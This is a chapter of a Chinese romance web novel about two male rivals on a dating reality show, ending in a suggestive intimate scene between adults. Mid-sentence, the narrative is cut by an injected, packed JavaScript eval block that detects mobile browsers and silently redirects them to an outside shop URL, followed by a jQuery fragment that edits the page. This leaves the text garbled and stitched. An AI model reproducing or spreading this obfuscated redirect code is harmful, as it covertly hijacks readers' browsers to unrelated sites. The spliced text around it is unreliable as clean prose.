57.我学的好吗?

作品:《失忆后在恋综和死对头热恋

    签好的节目还要拍两期,时眠怕迟到,早早和家里打了声招呼,拿着外套就出门。


    但当看到门前的那辆粉色跑车时,他又忍不住有些发愣。


    时眠缓慢地眨了下眼:“你怎么来了?”


    陆灼竖起两根手指,散漫地摇了摇:“两个解释,正经的和不正经的,你想听哪个?”


    时眠迟疑了两秒。


    然后他果断从心:“不正经的。”


    陆灼从车上走下来,帮他打开了另一侧的车门。听到这个回答,陆灼不免意外,眼看着时眠低下头,跨进他的副驾驶位,同时还露出了一截脆弱白皙的后颈——


    陆灼轻微地抽了口凉气,道:“别这样。”


    时眠:?


    陆灼说:“都让我想亲你了。”


    时眠:??!


    他懵在原地,脑子嗡嗡地转了好一会儿。


    但还是乱糟糟的。


    陆灼坐回驾驶座,发动道:“回归不正经的,我想见你。再说了,拍摄现场人多眼杂,很多事不好做,还不如早点来你家,接你去上班。”


    时眠简直不知道该说什么。


    他只能镇定地挪开视线:“……那正经的呢?”


    “唔,正经的就是,过年前后我有好几场演出。”


    时眠:“所以?”


    这是在报备吗。


    他说不上来自己是什么心情,只觉得有点微妙的甜,但又是打死不能承认的那种。


    陆灼咧嘴一笑:“我还缺个妆造师。”


    时眠:……


    他没想到,陆灼的“正经”,居然真的能这么正经。


    陆灼抬了下下巴,示意:“几个舞台的主题创意,都在你面前的抽屉里。自己拿出来看一下?”


    时眠看了眼舞台图。


    陆灼:“就是时间可能有点紧——”


    时眠没让他说完,敛眉道:“足够了。”


    陆灼微妙地扬了扬眉梢。


    时眠看了一会儿,又把文件塞了回去,确认道:“这些,都让我做?”


    “嗯。”


    时眠其实有点暗爽。


    没什么能比一个死对头,愿意在专业领域里认可你,更让人快乐的事情了。


    他正想调侃一下,陆灼之前不都嘲笑他,说他的设计是“云里雾里,不知所云”吗?怎么现在这么信任他,不怕他搞砸吗?


    但陆灼开口更快:“什么时候量我的尺寸?”


    时眠心不在焉,脱口道:“不用量。”


    陆灼笑了:“哦豁。”


    时眠:……


    说完了,他反应过来了。


    他又忍不住记恨起了那个该死的同人站,要不是他看了太多的视频剪辑,反反复复地品味过一些“陆灼的各种姿势”,他怎么会对对方的身材如此熟悉?!


    时眠也不管陆灼信不信,冷着脸解释:“设计师的眼睛就是尺。”


    这下不高兴的,轮到了陆灼。


    他绷直了唇角,语气直往下沉:“别人的,你也一眼看出来?”


    一眼能看出个屁啊。


    但时眠:“当然。”


    陆灼不说话了。


    一路沉默地到了节目现场,车还没停稳,时眠就迫不及待地打开了车门,一溜烟地跑了下去,眨眼的功夫就跟兔子似的没了影。


    等其它嘉宾来后,时眠更是将他们的距离拉得极开。


    陆灼往他那走一步,他就往旁边挪一步。


    陆灼开口说句话,他死死闭嘴十分钟。


    就跟个很固定的两极相斥的吸铁石似的。


    陆灼:……


    略自闭。


    就连节目要求他们坐直升飞机,去无人岛的路上,时眠硬是和他坐得很远,一左一右,还把摄像师夹在了两人中间。


    路程十分钟,时眠和开直升机的聊了九分半。


    剩下的30秒里,时眠只抽出了5秒,和他说了一句话:


    “你先下去?”


    陆灼:。


    他不想下去。


    他比较想把时眠锁在这里,单独交流。


    无人岛上放了张桌子,张生生好奇地凑过去,拿起来念上面的文字:“本期任务,请大家自力更生,努力生存下去。”


    他讲完,挠了挠后脑勺,把原本就被吹乱的头发,抓得更像个野人了。


    “这么简单的任务描述?”


    张生生吐槽。


    “描述越简单,估计任务就越难。”宋礼走过来看了眼,回头的瞬间,不由得一惊,“等等,节目组人呢?”


    海风呼啸而过。


    不知何时,闹哄哄的海滩变得孤寂又安静。


    送他们过来的直升机不见了,节目组的人员都不见了,甚至连摄像师都不见了,唯有无人机和提前安装的摄像头,无声地拍摄着他们的无措。


    宋礼瞳孔地震:“……不会吧?”


    嘉宾们不敢相信,带着点侥幸的心理,来来回回、仔仔细细将这个无人岛检查了一遍。然而,事实上节目组什么东西都没有留下,沙滩空空荡荡,唯有爬来爬去的小沙螃,还有他们被丢下的、孤零零的行李箱。


    简简单单的“自力更生”。


    四个字。


    居然隐藏了这么大的恶意!


    又是一阵风过,时眠磨着鞋底,不自觉地往陆灼身边凑了凑。


    ——他本来是距陆灼有两米远的。


    陆灼不置可否,只是询问:“你们谁带了食物?”


    张生生都服了:“这谁会带啊,每次都担心被没收,最多也就藏几包零食了。”


    不少人面露绝望,陆灼反而冷静,站在礁石堆上远眺:“不至于,那边有栋房子,估计是留着我们住的。至于吃喝,我刚才观察了一下,这个岛上有椰子树,海水也能做蒸馏,水源应该不成问题;吃的话,要么饿一饿,靠大家的那点零食顶一顶,要么就想想办法抓鱼吧。”


    娓娓道来,很靠谱。


    时眠默默又往他身边挪了两步。


    陆灼微微抬了下嘴角。


    张生生举起手,打断了一下:“不好意思,想问问谁会爬树?”


    没有人回应。


    张生生泪流满面,又问:“谁又会抓鱼?”


    依然没有人回应。


    张生生破大防,那能活个什么玩意儿啊?!


    陆灼笑了一声,看了眼身后几乎快贴上来的某人,依然靠谱:“我会。”


    张生生唰的,眼神亮成灯泡。


    “您会哪个?”


    他搓手期待。


    陆灼:“都会。”


    【嗷嗷嗷嗷我老公就是帅!】


    【我哥的确都会,不过,我怎么感觉他今天怪怪的?平时他好像没有这么爱秀啊】


    【能说吗?陆老师有种暗戳戳开屏的既视感……】


    虽然陆灼自称能解决最大的问题,但其他的嘉宾也不好意思吃白食,干脆组队出去捡树枝。时眠转身也要走,却被他拉住了手腕。


    或许因为是阴天,陆灼的眸色看着有些淡:“你想去哪?”


    语气也很淡。


    时眠迟疑:“捡树枝?”


    “用不上你,”陆灼的手指稍稍用力,眸色像是更淡了,“就在这待着。”


    时眠滚了下喉结:“……哦。”


    陆灼说会,那就是真的会。爬个十几米高的椰子树对他来说,看起来是真不算难,何况节目组还留了安全绳,时眠摩挲着手腕处不深的指痕,看着陆灼的腰腹用力,脑子里的设计灵感一个接一个地涌现出来。


    什么都好。


    就是他看的图好像太多了。


    而且他对线条很敏锐,这就导致,陆灼哪怕穿得那么严实,他依然能清晰地在脑子里,勾勒出对方的肌肉轮廓。


    时眠:……


    没过多久,他就抱着一堆椰子,找了个平地,挨个把它们堆成了金字塔。


    【???】


    【不对,时眠你脸红个der】


    时眠就好像能看到弹幕,欲盖弥彰地解释:“风好大。”


    脸都吹红了。


    【我信你个邪啊】


    【承认吧,你也被我哥给刷到了吧?】


    【今天刚来的时候,我还以为他俩吵架了呢,吓死我了QAQ】


    时眠不语。


    只是一味堆叠椰子。


    嘉宾们体力都不太行,各自抱了点树枝就回来了。岛屿上有野果,但是所有人都不认识是什么品种,当然也就不敢吃。


    好在这才第一天,大家分了点零食吃,陆灼要下水,他们也没让。


    “太晚了,明天且看吧。”


    杜温书苦口婆心地劝。


    天色渐暗,陆灼也没坚持。草草分了点食物后,众人就前往那栋楼,果然如猜测的那样,节目组还不至于要他们死,房子里面的暖气和住宿用品都是齐全的。


    只是,就连冰箱都空空如也。


    “太过分了,连一粒米都没留下!”


    张生生愤怒道。


    时眠扫了眼,叹气:“但起码留了两瓶水,可能是真怕我们渴死。”


    陆灼懒洋洋的,不置一词。


    他的目光不咸不淡地落在时眠身上——


    吃饱了,人就是硬气。


    时眠又离他很远了。


    *


    房间照旧是他和陆灼一间。


    但不知道为什么,时眠只有这次,感到分外的心虚。


    刚一进门,陆灼就径直走向摄像头,面无表情地把所有镜头关闭。时眠还在哼哧哼哧提箱子,然而,还没等他放下,庞大的阴影就投了下来。


    “咚。”


    箱子落地。


    房间里没有开灯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645557|182883||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,陆灼单手压在他的头顶,借着一点身高差,将他困在了门后的狭小天地。陆灼自己的身影,就剥夺了大半的光线,让他即使费力仰着头,也照样没能看清对方眼中的情绪。


    “为什么躲着我?”


    陆灼质问。


    时眠茫然地张了张口:“……因为避嫌?”


    陆灼扯出了一声长长的尾音。


    ——可能是被气的。


    “你觉得我们是什么关系。”


    啊?


    时眠有点懵。


    陆灼又问:“是见不得光的地下情人吗?”


    确信了。


    他是真的在生气。


    时眠伸手,不自觉地摸上自己的鼻尖,只觉得背后靠着的门板实在是有点凉。


    “我是无所谓,但你还有那么多女友粉,”说着说着,时眠突然又理直气壮起来,声音也跟着变高,“我还不是为你着想。再说了,我们是什么关系?十二年前的账我们还没算完呢。”


    陆灼:“……你这会儿,又开始跟我算十二年前了?”


    时眠鼓足勇气:“没错。”


    这话都说出来了,陆灼还能怎么办?


    他只微微弯下了腰。


    时眠怂了一下,悄无声息地往后躲。


    然而,时眠想象中的所有后果都没有发生,陆灼只是无奈地低笑,开口唤了声:“时眠,我不是在怪你。”


    “嗯?”


    时眠蹙眉。


    陆灼是真没办法了。


    “我只是想要你哄哄我。”


    他坦白。


    嗯???


    时眠倏而睁大眼,愕然看着他。


    陆灼低叹道:“就算不想哄,我不是还爬树了吗,不能夸我一下吗?”


    也许是暗处天然会降低人的戒备心,也许是暧昧的夜色,又为这点絮絮的私语染上了些许柔软。


    时眠伸出的指尖,触碰到了陆灼的胸腔。


    里面的一颗心。


    为他跳得火热。


    沉默了许久。


    “是我不太会……哄人。”


    时眠终于出声。


    至于夸人的话——


    他攀上陆灼的脖子,紧张地抿了下唇角:“你好棒。”


    陆灼晃了下神。


    刚想说,这是不是太犯规了一点?


    因为夸不出口,所以选择动手?


    “除了这句,我就只会一样。”时眠声音在逐渐变小,人却在靠近,“还是前几天刚学会的。”


    他亲了亲陆灼的嘴角。


    撤离时,他又如同无师自通,下意识地,小小咬了一口。


    “砰”的一声。


    两人在门板上碰撞出不轻不重的声响。


    陆灼护住了时眠的后脑勺。


    但说是保护,又好像更像是进攻。


    他的进步堪称神速。


    上次明明还会撞鼻子,如今时眠的意识却被彻底搅成一片,唯独隐约间,陆灼微冷的手指变得异常清晰,也不知何时探入了他的T恤,在他的腰腹处流连地徘徊。


    陆灼的嗓音变得有些黏糊,就在耳边:“我学过了。”


    时眠想死。


    这种时候为什么要说这个话?!


    陆灼含混道:“所以,要不要这次……多学一点?”


    学什么。


    时眠在混乱的线头里,找不到一点线索。但就在他要出声的前一秒,他浑然僵硬。


    这次没有腰包。


    也没挂什么皮带。


    陆灼一身柔软的冬装,几乎没有任何东西能让自己再错认。


    ……纯是血气方刚。


    时眠不可抑制地走了神。


    直到陆灼用刚刚捂热的手指,直白地提醒他——


    比陆灼更血气方刚的。


    另有其人。


    “我帮你?”


    陆灼在说一些什么鬼话。


    时眠张了张口,却硬是没说出那一声拒绝。


    下一秒。


    他就咬上了自己的手背。


    可他还是没能忍住,接连漏了两声。


    偏偏此时,门口还有个傻逼来敲门,咚咚咚,震得耳朵疼。张生生中气十足地问:“时间还好早啊,闲着也是闲着,宋礼他带了两幅扑克过来,还有白邯他们也过来了。就剩你俩,要不要来我们房间打牌啊?”


    就在同时,陆灼觉得不太顺手,干脆把人换了个方向。


    时眠自欺欺人地闭上眼。


    身后的热源却更加靠近,陆灼的下巴轻轻放在他的肩膀上,声音很低很沉:“我学的好吗?”


    久久的沉默。


    也不知过了多久,房间里终于彻底安静下来。


    时眠才绝望地憋出一句:


    “……不。”


    也不知道回的是门外的傻逼,还是门内的陆灼。